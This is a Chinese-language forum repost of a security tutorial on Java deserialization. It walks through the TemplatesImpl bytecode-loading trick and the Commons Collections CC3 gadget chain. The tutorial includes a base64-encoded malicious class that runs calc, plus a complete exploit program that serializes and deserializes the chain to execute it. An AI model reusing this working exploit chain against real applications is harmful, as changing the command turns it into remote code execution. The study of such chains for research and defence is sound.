|
本帖最后由 wangqiang 于 2022-4-7 11:10 编辑
java安全 TemplatesImpl与CC3链原创 Met32 [url=]moonsec[/url] 2022-04-04 14:21
收录于话题
#投稿5个
#java安全2个
转载自https://mp.weixin.qq.com/s?__biz=MzAwMjc0NTEzMw==&mid=2653578438&idx=1&sn=8c80aad4f1739856db835a14d7921600&chksm=811b7284b66cfb92890cbcd104143f6f51f9527bcb5363a6931cedb5fe6cc95d1c6e294d7cde&mpshare=1&scene=23&srcid=0404ugPlyFyQwLbiO36ucSSx&sharer_sharetime=1649053892982&sharer_shareid=ee83a55e0b955b99e8343acbb61916b7#rd
TemplatesImpl与CC3链
本文笔者带领大家学习CC3这条链,还是老样子,分开来学。首先来学习TemplatesImpl加载字节码,这是CC 链中的一部分·。
接上篇文章 CC1链:https://mp.weixin.qq.com/s/lZO_IWyytMwoNNXoZKN6nw
- TemplatesImpl#newTransformer() ->
- TemplatesImpl#getTransletInstance()
- TemplatesImpl#defineTransletClasses()
- TransletClassLoader#defineClass()
复制代码
接下来TemplatesImpl代码如下,短短6行代码,当你执行就可以执行命令。(base64加密的数据是一个恶意类,用来弹出calc的)
- byte[] bytes =
- Base64.getDecoder().decode("yv66vgAAADQAIQoABgATCgAUABUIABYKABQAFwcAGAcAGQEACXRyYW5zZm9y bQEAcihMY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTtbTGNvbS9zdW4vb3JnL2Fw YWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEABENvZGUBAA9MaW5l TnVtYmVyVGFibGUBAApFeGNlcHRpb25zBwAaAQCmKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwv eHNsdGMvRE9NO0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL2R0bS9EVE1BeGlzSXRlcmF0b3I7TGNv bS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEA Bjxpbml0PgEAAygpVgcAGwEAClNvdXJjZUZpbGUBAA1FdmlsVGVzdC5qYXZhDAAOAA8HABwMAB0AHgEABGNhbGMM AB8AIAEACEV2aWxUZXN0AQBAY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL3J1bnRpbWUv QWJzdHJhY3RUcmFuc2xldAEAOWNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9UcmFuc2xl dEV4Y2VwdGlvbgEAE2phdmEvbGFuZy9FeGNlcHRpb24BABFqYXZhL2xhbmcvUnVudGltZQEACmdldFJ1bnRpbWUB ABUoKUxqYXZhL2xhbmcvUnVudGltZTsBAARleGVjAQAnKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1By b2Nlc3M7ACEABQAGAAAAAAADAAEABwAIAAIACQAAABkAAAADAAAAAbEAAAABAAoAAAAGAAEAAAAMAAsAAAAEAAEA DAABAAcADQACAAkAAAAZAAAABAAAAAGxAAAAAQAKAAAABgABAAAAEQALAAAABAABAAwAAQAOAA8AAgAJAAAALgAC AAEAAAAOKrcAAbgAAhIDtgAEV7EAAAABAAoAAAAOAAMAAAASAAQAEwANABQACwAAAAQAAQAQAAEAEQAAAAIAEg== ");
复制代码
2- TemplatesImpl templates = new TemplatesImpl();
复制代码 3- setField(templates,"_bytecodes",new byte[][]{bytes});
复制代码 4- setField(templates,"_name","123");
复制代码 5- setField(templates,"_tfactory",new TransformerFactoryImpl());
复制代码 6- templates.newTransformer();
复制代码
跟进getTransletInstance(),发现了对_null进行判断是否为空所以才会有了前面通过反射修改name的值,才能绕过该if
- setField(templates,"_name","123");
复制代码
之后跟进defineTransletClasses()
defineTransletClasses()方法如下(注意这里最开始有一个if(_bytecodes==0) 所以需要绕过),成功会调用到TransletClassLoader#defineClass()方法
而TransletClassLoader#defineClass()在传入字节码之后,会返回class对象为_class
之后在下方判断,读取的字节码是否继承了AbstractTranslet(父类),如果继承了,并最终会给_transletIndex赋为0
最终通过_class[0].newInstance()调用
重头戏来了,CC3代码如下:
- public class CCthree {
- public static void main(String[] args) throws NoSuchFieldException, IllegalAccessException, ClassNotFoundException, NoSuchMethodException, InvocationTargetException, InstantiationException, IOException {
- 3byte[] bytes =
- Base64.getDecoder().decode("yv66vgAAADQAIQoABgATCgAUABUIABYKABQAFwcAGAcAGQEACXRyYW5zZm9y bQEAcihMY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTtbTGNvbS9zdW4vb3JnL2Fw YWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEABENvZGUBAA9MaW5l TnVtYmVyVGFibGUBAApFeGNlcHRpb25zBwAaAQCmKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwv eHNsdGMvRE9NO0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL2R0bS9EVE1BeGlzSXRlcmF0b3I7TGNv bS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEA Bjxpbml0PgEAAygpVgcAGwEAClNvdXJjZUZpbGUBAA1FdmlsVGVzdC5qYXZhDAAOAA8HABwMAB0AHgEABGNhbGMM AB8AIAEACEV2aWxUZXN0AQBAY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL3J1bnRpbWUv QWJzdHJhY3RUcmFuc2xldAEAOWNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9UcmFuc2xl dEV4Y2VwdGlvbgEAE2phdmEvbGFuZy9FeGNlcHRpb24BABFqYXZhL2xhbmcvUnVudGltZQEACmdldFJ1bnRpbWUB ABUoKUxqYXZhL2xhbmcvUnVudGltZTsBAARleGVjAQAnKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1By b2Nlc3M7ACEABQAGAAAAAAADAAEABwAIAAIACQAAABkAAAADAAAAAbEAAAABAAoAAAAGAAEAAAAMAAsAAAAEAAEA DAABAAcADQACAAkAAAAZAAAABAAAAAGxAAAAAQAKAAAABgABAAAAEQALAAAABAABAAwAAQAOAA8AAgAJAAAALgAC AAEAAAAOKrcAAbgAAhIDtgAEV7EAAAABAAoAAAAOAAMAAAASAAQAEwANABQACwAAAAQAAQAQAAEAEQAAAAIAEg== ");
- TemplatesImpl obj = new TemplatesImpl();
- setFieldValue(obj,"_bytecodes",new byte[][]{bytes});
- setFieldValue(obj,"_name","123");
- setFieldValue(obj,"_tfactory",new TransformerFactoryImpl());
- ChainedTransformer chain = new ChainedTransformer(new Transformer[]{
- new ConstantTransformer(TrAXFilter.class),
- new InstantiateTransformer(new Class[]{Templates.class},new Object[]
- {obj})
- });
- HashMap hashMap = new HashMap();
- Map lazymap = LazyMap.decorate(hashMap,chain);
- Class cls = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
- Constructor constructor = cls.getDeclaredConstructor(Class.class,Map.class);
- constructor.setAccessible(true);
- InvocationHandler invocationHandler =
- (InvocationHandler)constructor.newInstance(Override.class,lazymap);
- Map proxyMap = (Map)Proxy.newProxyInstance(Map.class.getClassLoader(),new Class[]{Map.class},invocationHandler);
- Object newObj = constructor.newInstance(Override.class,proxyMap);
- //序列化与反序列化
- ObjectOutputStream objectOutputStream = new ObjectOutputStream(new FileOutputStream("cc3.bin"));
- objectOutputStream.writeObject(newObj);
- objectOutputStream.close();
- ObjectInputStream objectInputStream = new ObjectInputStream(new FileInputStream("cc3.bin"));
- objectInputStream.readObject();
- objectInputStream.close();
- public static void setFieldValue(Object obj,String name,Object value) throws
- NoSuchFieldException, IllegalAccessException {
- Field field = obj.getClass().getDeclaredField(name);
- field.setAccessible(true);
- field.set(obj,value);
- }
- }
复制代码
短短30多行代码诠释完毕。(可能有人心里会觉得 这都什么玩意儿?)
小伙伴们如果在看完上一篇CC1链这篇文章的话,肯定就会发现很多熟悉的代码。
在初始化的时候,用到了InstantiateTransformer这个类。跟进分析,可以发现transform是用来执行命令的
lazyMap初始化赋值如下:
其get方法用来调用到ChainedTransformer的transform方法
接下来又是AnnotationInvocationHandler这个类了
在AnnotationInvocationHandler.invoke()方法会调用memberValues.get方法,而memberValues变量就是在第四行传入的lazymap- Class cls = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
- Constructor constructor = cls.getDeclaredConstructor(Class.class,Map.class);
- constructor.setAccessible(true);
- InvocationHandler invocationHandler =
- (InvocationHandler)constructor.newInstance(Override.class,lazymap);
- Map proxyMap = (Map)Proxy.newProxyInstance(Map.class.getClassLoader(),new Class[]
- {Map.class},invocationHandler);
- Object newObj = constructor.newInstance(Override.class,proxyMap);
复制代码
- 我们如果将AnnotationInvocationHandler对象用Proxy进行代理,那么在readObject的时候,只要调用任意方法,就会进入到AnnotationInvocationHandler#invoke方法中,进而触发我们的LazyMap#get。
复制代码
所以有了上方为什么用到了代理。其次代理不能够被序列化,所以最后需要用AnnotationInvocationHandler 包裹一层。与CC1一样。
最后成功弹出计算器
最后提醒一下各位,setFieldValue是本人自己定义的方法,用反射修改来修改私有属性用的。
- public static void setFieldValue(Object obj,String name,Object value) throws
- NoSuchFieldException, IllegalAccessException {
- Field field = obj.getClass().getDeclaredField(name);
- field.setAccessible(true);
- field.set(obj,value);
- }
复制代码
|
|